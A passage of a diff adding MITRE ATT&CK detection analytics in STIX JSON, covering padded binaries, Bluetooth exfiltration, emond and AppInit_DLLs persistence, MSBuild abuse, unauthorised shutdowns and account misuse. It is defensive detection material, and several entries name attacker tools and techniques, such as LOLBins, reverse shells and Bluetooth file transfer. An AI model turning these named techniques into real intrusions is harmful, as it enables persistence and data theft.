+ { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "linux:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileSizeThresholdMB", + "description": "Defines how large a file must be to consider it padded" + }, + { + "field": "UserContext", + "description": "Target abnormal user behavior outside of expected automation" + }, + { + "field": "TimeWindow", + "description": "Time window for correlating file creation and execution" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d27caeb7-7af2-4a55-9dcb-734730c0ccf1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0553#AN1530", + "external_id": "AN1530" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1530", + "description": "Monitors for anomalous binary files written to disk with padded size and subsequent execution by user or service context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process:spawn" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsusage", + "channel": "file write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileSizeThresholdMB", + "description": "Padded binary threshold for file size" + }, + { + "field": "TimeWindow", + "description": "Detection correlation window for execution after file creation" + }, + { + "field": "UserContext", + "description": "Filters for specific users or groups such as admin or service accounts" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--02fb4d83-d2db-4d49-acbc-85eff3b517d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0554#AN1531", + "external_id": "AN1531" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1531", + "description": "Detection of non-interactive or suspicious processes accessing Bluetooth interfaces and transmitting outbound traffic following file access or staging activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:System", + "channel": "EventCode=8001" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines how quickly a file access and Bluetooth activity must occur to be correlated." + }, + { + "field": "InterfaceType", + "description": "May focus on Bluetooth-specific interfaces or drivers like 'bthport.sys'." + }, + { + "field": "FileSizeThreshold", + "description": "Tune to trigger only on significant exfiltratable file reads." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--01588556-4b25-4418-b746-9bca0279be2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0554#AN1532", + "external_id": "AN1532" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1532", + "description": "Use of hcitool, bluetoothctl, or rfcomm to initialize Bluetooth connection paired with recent file reads by the same user or session.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "linux:syslog", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "linux:osquery", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BluetoothUtility", + "description": "List of CLI tools to monitor (e.g., hcitool, rfcomm, obexftp)." + }, + { + "field": "SessionWindow", + "description": "Amount of time after interface config a file must be accessed to be linked." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2f6dd4a5-b0cc-4c13-abb8-e2d747d591b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0554#AN1533", + "external_id": "AN1533" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1533", + "description": "Observation of `blueutil`/`networksetup` commands or low-level APIs toggling Bluetooth or initiating transfers, especially if paired with recent large file read activity by non-GUI processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:osquery", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:osquery", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessContext", + "description": "Limit to background processes or scripts with no GUI interaction." + }, + { + "field": "PayloadType", + "description": "Focus on specific sensitive file types (e.g., zip, docx, keychain db)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5e4aea30-f04b-4f1e-b68a-f2f3a95e5066", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0555#AN1534", + "external_id": "AN1534" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1534", + "description": "Detection focuses on identifying unauthorized file creation or modification within `/etc/emond.d/rules/` or `/private/var/db/emondClients`, which indicate attempts to register a malicious emond rule. Correlate with process execution of `/sbin/emond` and any launched commands it invokes, especially during boot or login events. Anomalies may include rules created by non-root users or unexpected shell commands executed by emond.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "file create or modify in /etc/emond.d/rules or /private/var/db/emondClients" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of /sbin/emond with child processes launched" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "rule definitions written to emond rule plists" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "command execution triggered by emond (e.g., shell, curl, python)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PathPrefix", + "description": "Paths such as `/etc/emond.d/rules/` and `/private/var/db/emondClients` may vary slightly or be symlinked in some setups" + }, + { + "field": "TimeWindow", + "description": "The time range for correlating rule file creation to emond execution may be tuned based on system performance and usage" + }, + { + "field": "ParentProcessFilter", + "description": "Defenders may wish to restrict alerts to emond processes not spawned from trusted system update or provisioning tools" + }, + { + "field": "CommandPatternList", + "description": "List of known suspicious commands or binaries used by adversaries (e.g., reverse shells, persistence scripts)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e24b6c08-4fd0-40c7-a71a-762cc08d6085", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0556#AN1535", + "external_id": "AN1535" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1535", + "description": "MSBuild.exe is invoked outside expected developer/build contexts or with anomalous arguments (e.g., non-canonical paths, remote shares, Base64/obfuscated property values). Within a short window, it (a) spawns high-risk LOLBins/script interpreters, (b) writes new PE/DLL/script artifacts into user-writable paths and executes them, (c) loads unsigned/user-writable modules, (d) performs memory injection/thread creation into other processes, and/or (e) initiates outbound network connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3, 22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned/invalid signature modules or images loaded by msbuild.exe or its children" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "EDR:AMSI", + "channel": "Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between msbuild.exe start, payload write, suspicious child spawn, and network (e.g., 0\u201330 minutes)." + }, + { + "field": "DeveloperHosts", + "description": "Tag/allowlist known developer or CI/CD hosts to reduce noise." + }, + { + "field": "SuspiciousChildList", + "description": "High-risk children (powershell.exe, rundll32.exe, regsvr32.exe, cmd.exe, wscript.exe, mshta.exe) spawned by msbuild.exe." + }, + { + "field": "RarePathRegex", + "description": "Regex of user-writable or atypical paths (e.g., %TEMP%, %APPDATA%, OneDrive sync dirs) used to drop payloads." + }, + { + "field": "UnsignedOrInvalidSignatureOnly", + "description": "Tighten alerting to cases with invalid or missing signatures on modules/children." + }, + { + "field": "NetworkReputationThreshold", + "description": "Minimum rarity/risk score for external destinations to alert." + }, + { + "field": "BehaviorRiskScoreThreshold", + "description": "Numeric threshold for fused, scored correlation (e.g., \u226570/100 triggers an alert)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e886b9c8-2187-4363-9043-1e5c60d75363", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0557#AN1536", + "external_id": "AN1536" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1536", + "description": "Registry key modification to AppInit_DLLs value followed by anomalous DLL loading by processes importing user32.dll, especially unsigned or uncommon DLLs, suggesting unauthorized AppInit persistence or privilege escalation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13, 14" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ImagePathWhitelist", + "description": "Paths or filenames of known-good DLLs to exclude from alerting" + }, + { + "field": "UserContext", + "description": "Context of the user modifying the registry key (e.g., admin vs standard user)" + }, + { + "field": "TimeWindow", + "description": "Temporal threshold for correlating registry modification and DLL load" + }, + { + "field": "DLLSignatureStatus", + "description": "Filter or flag unsigned or suspiciously signed DLLs" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2fa4d134-8583-4cbe-bc84-bfc799205116", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0558#AN1537", + "external_id": "AN1537" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1537", + "description": "Detects suspicious use of ESXi native CLI tools like esxcli and vim-cmd by unauthorized users or outside expected maintenance windows. Focus is on actions such as stopping VMs, reconfiguring network/firewall settings, and enabling SSH or logging.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:vmkernel", + "channel": "esxcli, vim-cmd invocation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "esxi:auth", + "channel": "SSH session/login" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Helps scope detection to off-hours or change control gaps." + }, + { + "field": "UserContext", + "description": "Environment-specific users may run these commands as part of normal ops." + }, + { + "field": "CommandPattern", + "description": "CLI commands vary by adversary intent (e.g., 'stop', 'reboot', 'firewall set')" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--52b9bf67-304e-403f-9b81-4d4b9d974ad6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0559#AN1538", + "external_id": "AN1538" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1538", + "description": "Correlate process execution of shutdown/reboot commands (e.g., shutdown.exe, restart-computer) with host status change logs (Event IDs 1074, 6006) and absence of related administrative context (e.g., user not in Helpdesk group).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "WinEventLog:Security", + "channel": "EventCode=1074" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Defines if user has appropriate privileges to initiate shutdown/reboot." + }, + { + "field": "TimeWindow", + "description": "Unexpected shutdowns during business hours may warrant increased scrutiny." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f1a019df-12f0-442e-9b0e-b1a82352389b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0559#AN1539", + "external_id": "AN1539" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1539", + "description": "Detect 'shutdown', 'reboot', or 'systemctl poweroff' executions with auditd/syslog and absence of scheduled maintenance windows or approved user context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve=/sbin/shutdown or /sbin/reboot" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "linux:syslog", + "channel": "system is powering down" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineMatch", + "description": "Supports multiple binary names or symlinked utilities." + }, + { + "field": "UserContext", + "description": "Privileged user (e.g., root or via sudo) context matching expected roles." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6b11c208-4dbf-4d52-9254-524e622c6250", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0559#AN1540", + "external_id": "AN1540" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1540", + "description": "Identify use of 'shutdown', 'reboot', or 'osascript' system shutdown invocations within unified logs and track unexpected shutdown sequences initiated by GUI or script. Cross-reference with user activity or absence thereof.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "shutdown -h now or reboot" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "macos:unifiedlog", + "channel": "System shutdown or reboot requested" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchMechanism", + "description": "Scripted vs interactive shutdowns." + }, + { + "field": "LogGranularity", + "description": "May vary depending on macOS version and unified log verbosity." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d076faf3-c5bd-4e5c-93a5-8408c9e80fe1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0559#AN1541", + "external_id": "AN1541" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1541", + "description": "Detect commands such as 'esxcli system shutdown' or 'vim-cmd vmsvc/power.shutdown' executed outside of maintenance windows or via unusual users. Reboot logs in hostd.log and shell logs should be correlated.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "esxi:hostd", + "channel": "Powering off or restarting host" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "esxcli system shutdown or reboot invoked" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccountRole", + "description": "Administrative account context validation." + }, + { + "field": "MaintenanceWindow", + "description": "Expected times for reboot/shutdown behavior." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9c70d5b3-8748-4f88-8fd8-95f79c73d250", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0559#AN1542", + "external_id": "AN1542" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1542", + "description": "Monitor CLI 'reload' commands issued without scheduled maintenance, and correlate to TACACS+/AAA logs for privilege validation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "reload command issued" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "networkdevice:syslog", + "channel": "System reboot scheduled or performed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PrivilegeLevel", + "description": "TACACS+/AAA role thresholds for command execution." + }, + { + "field": "ChangeTicketCorrelation", + "description": "Track change control windows or ITSM integration." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f9c3a686-2894-498d-9d04-7ac510752e1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-27 15:56:07.094000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0560#AN1543", + "external_id": "AN1543" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1543", + "description": "Detection of compromised or misused valid accounts via anomalous logon patterns, abnormal logon types, and inconsistent geographic or time-based activity across Windows endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventID=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventID=4625" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LogonType", + "description": "Flag unexpected logon types (e.g., Type 10 for remote interactive logins) for sensitive accounts." + }, + { + "field": "TimeWindow", + "description": "Define acceptable hours for interactive logon activity (e.g., 9AM-6PM local)." + }, + { + "field": "GeoIPMismatch", + "description": "Trigger on location anomalies based on prior user behavior or policy." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6cf46787-028d-4ac8-9dfa-58682edb3625", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0560#AN1544", + "external_id": "AN1544" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1544", + "description": "Detection of valid account misuse through SSH logins, sudo/su abuse, and service account anomalies outside expected patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "NSM:Connections", + "channel": "sshd or PAM logins" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": 